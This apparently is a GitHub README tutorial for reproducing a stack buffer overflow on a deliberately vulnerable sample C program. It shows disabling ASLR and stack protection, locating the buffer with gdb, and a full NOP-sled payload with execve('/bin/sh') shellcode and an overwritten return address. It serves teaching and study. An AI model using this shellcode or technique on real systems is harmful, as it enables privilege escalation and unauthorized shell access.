/buffer-overflow-exploit

Recreating a buffer overflow exploit on Linux

Primary LanguageC

Buffer Overflow Exploit

No-Op Sled

Background

Buffer Overflow is a vulnerability in which a less privileged user gains unauthorized access to a shell with same privileges as the program's current executor by overwriting beyond the maximum buffer size. Once privileged access is had, severe damages can be inflicted on the target machine. This vulnerability often exists in programs written in C/C++, languages wherein the developer must manually manage the memory footprint.

Prereqs

  1. Linux distro on a VM, Raspberry Pi, or Linux on the host machine.
  2. make or gcc C program
  3. gdb Linux program - to install, run sudo apt-get install gdb

Steps

Map the vulnerable program in memory

  1. Turn off buffer overflow protection measures ONLY for the duration of this exploit. See notes below:

    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
    gcc vuln.c -o vuln -fno-stack-protector -z execstack -no-pie
    
  2. Compile the sample vulnerable program vuln.c: make vuln.

    Compile

  3. Open the debugger and attach to our program: gdb vuln

  4. Disassemble the program function to see the program's location in memory: disas main. In the subsequent print out of the stack, locate where strcpy gets called. It's 0x00010498 in this case.

    Disassemble

  5. We need to know where our string input will get copied into the buffer. Copy a memory address below the strcpy and add a breakpoint there.

    b *0x00010498
    

    Breakpoint 1

Find the Buffer Start Location

  1. Attempt to overwrite the buffer with an arbitrary character of length n. This python script will write 230 A's. Notice the function trips our breakpoint.

    run $(python -c "print('A' * 230)")
    

    breakpoint-tripped

  2. We need to find the memory address at which our buffer begins, which is signaled by our As.

    • Run x/200xb $sp (could be $esp or $rsp depending on your platform) to generate a map of the memory addresses. See below for more notes on the GDB x command.
  3. JACKPOT! Where you see a full row of 0x41 (the hex representation for A) is where our buffer begins! Save the memory address (0xbeffef68 here) for later.

    MemoryMap

Find the Buffer Length

Through trial & error, we will write an arbitrary length of an arbitrary character to discover the buffer length.

  1. Delete the breakpoints: delete. y when prompted.

  2. Run the python script again. Note that this time, the process will have exited normally. This means that 230 As was not enough to overflow the buffer (to overwrite into privileged parts of the memory)

    Overwrite

  3. Increment the length of As and repeat the script until the stdout starts to look funky. At 260, we start seeing a different message:

    SysLib

    The above message implies that the memory addresses where the system libraries get stored (i.e. libc-start.c) are starting to get corrupted by our script.

  4. At 264, we get a different message:

    Overwritten

    Jackpot! We found the starting point of our buffer, since we've reached the location where our overwritten As (0x41414140) begin.

  5. (Optional) You can test your hypothesis by rewriting the tip with B's instead:

    Test

Deliver the Payload

  1. This prepared payload of length 46 bytes simply opens up a shell:

    \x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
    
  2. Our new buffer structure of total length 264 bytes:

    • FRONT PADDING Pad the beginning of the buffer with a "no-op sled" (\x90) that makes the machine hop memory addresses until it reaches our payload. '\x90' * 214
    • PAYLOAD Nest the 46 byte shell script
    • RETURN ADDR Set the new return address as somewhere within the no-op sled so that the machine will execute our code. This is the memory address you saved from earlier (0xbeffef68) - add this in the reversed endian format. The NOP sled/slide can be an actual nop operation, or any other operation that doesn't change the control flow: xor eax,eax, inc ax.
  3. Run the final script with the payload:

    run $(python -c "print('\x90' * 214 + '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' + '\x68\xef\xff\xbe')")
    

    Exploit

  4. Turn on the protection mechanisms again:

    echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
    

Notes

  • GCC optimization

  • GDB x command documentation

    • Displays the memory contents at a given address using the specified format.
    • -x = hexadecimal
    • -b = bytes
  • If you run into the message:

    Unable to find Mach task port for process-id 46234: (os/kern) failure (0x5). (please check gdb is codesigned - see taskgated(8))
    

    This means you ran this command on a Mac terminal. See here for help with codesigning gdb. Linux is recommended.

Resources